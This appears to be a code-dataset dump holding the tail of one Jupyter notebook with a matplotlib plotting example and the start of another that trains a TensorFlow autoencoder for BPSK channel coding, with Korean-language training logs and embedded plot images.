QwKdoHiMvlpLBQpbBQ5c6dCgAmT34URclh\n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\nB7Uz3kiC+5EEAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fd2e2fe3828>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with plt.style.context([\"seaborn\", \n", " {'axes.prop_cycle': plt.cycler('color', colors),\n", " 'xtick.labelsize': 20}]):\n", " plt.plot([1,2,3,4], [2,3,4,5])\n", " plt.plot([1,2,3,4], [1,2,3,4])\n", " plt.plot([1,2,3,4], [3,4,5,6])" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.3" }, "widgets": { "state": { "206e4c0aabed4e21b8f4412c2b33c92f": { "views": [ { "cell_index": 7 } ] } }, "version": "1.2.0" } }, "nbformat": 4, "nbformat_minor": 2 }

bsd-3-clause

jskDr/jamespy_py3

wireless/ae_nb/ae_nonlinear.ipynb

2

530360

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# BPSK with channel coding.\n", "I will consider classification in this code. Previously, I considered the problem as regression issue. " ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2.1.0\n", "The autoreload extension is already loaded. To reload it, use:\n", " %reload_ext autoreload\n" ] } ], "source": [ "import tensorflow as tf\n", "from tensorflow import keras\n", "from tensorflow.keras import layers\n", "from tensorflow.keras.layers import Dense, Layer, BatchNormalization\n", "from tensorflow.keras import Sequential\n", "\n", "import numpy as np\n", "from sklearn.model_selection import train_test_split\n", "import matplotlib.pyplot as plt\n", "\n", "print(tf.__version__)\n", "\n", "%load_ext autoreload\n", "%autoreload 2\n", "\n", "from wireless import ae" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "(1000,) (1000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.9829769134521484 0.5112500190734863 0.48874998092651367\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.9583355188369751 0.5299999713897705 0.4700000286102295\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6190974712371826 0.6069999933242798 0.3930000066757202\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6349968910217285 0.5849999785423279 0.4150000214576721\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6489999890327454 0.7110000252723694 0.2889999747276306\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.5497395992279053 0.7149999737739563 0.2850000262260437\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.46090200543403625 0.800000011920929 0.19999998807907104\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.4381328523159027 0.8149999976158142 0.1850000023841858\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.4752500653266907 0.8650000095367432 0.13499999046325684\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.7550795078277588 0.8799999952316284 0.12000000476837158\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.3406033217906952 0.9449999928474426 0.05500000715255737\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21228459477424622 0.949999988079071 0.050000011920928955\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.17220158874988556 0.9649999737739563 0.0350000262260437\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.28129634261131287 0.949999988079071 0.050000011920928955\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13087576627731323 0.9779999852180481 0.022000014781951904\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6499642133712769 0.9750000238418579 0.02499997615814209\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12261419743299484 0.9869999885559082 0.013000011444091797\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06244084984064102 0.9850000143051147 0.014999985694885254\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10058912634849548 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.15407375991344452 0.9950000047683716 0.004999995231628418\n" ] }, { "data": { "image/png": "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